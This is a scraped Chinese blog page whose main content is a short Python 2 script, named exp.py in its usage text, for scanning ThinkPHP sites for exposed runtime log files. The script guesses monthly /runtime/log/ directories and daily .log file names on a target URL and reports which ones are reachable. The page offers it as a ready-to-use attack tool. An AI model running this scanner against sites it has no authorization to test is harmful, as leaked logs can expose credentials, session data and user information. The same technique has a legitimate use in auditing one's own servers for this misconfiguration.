zoukankan      html  css  js  c++  java
  • thinkphp日志泄露扫描

    import requests,sys
    dirpath=[]
    def dirscan(url,year):
        for i in range(1,13):
            if i < 10:
                urls=url+'/runtime/log/'+year+'0'+str(i)
            else:
                urls=url+'/runtime/log/'+year+str(i)
            r=requests.get(urls,timeout=10)
            if r.status_code == 403:
                print urls
                dirpath.append(urls+'/')
                
    
    
    def logscan(url):
        for i in range(1,30):
            if i <10 :
                urls=url+'0'+str(i)+'.log'
            else:
                urls=url+str(i)+'.log'
            r=requests.get(urls,timeout=3)
            print urls
            if r.status_code == 200:
                print urls + '--------------success log'
    if __name__=='__main__':
        try:
            url=sys.argv[1]
            year=sys.argv[2]
            print '[*]scan:'+url+'  year:'+year
            dirscan(url,year)
            for url in dirpath:
                logscan(url)
        except:
            print "[*] python exp.py http://example.com/ year"
            print "[*] python exp.py http://test.com/ 2019"
    
    
                
  • 相关阅读:
    vue 之 vuex
    vue中this.$router.push() 传参
    ES6新特性
    css优先级
    创建第一个vue工程
    对Vue.js的认知
    前端的认知与见解
    Web前端常见问题
    数据库如何进行索引优化
    Python FAQ
  • 原文地址:https://www.cnblogs.com/0xdd/p/12759290.html
Copyright © 2011-2022 走看看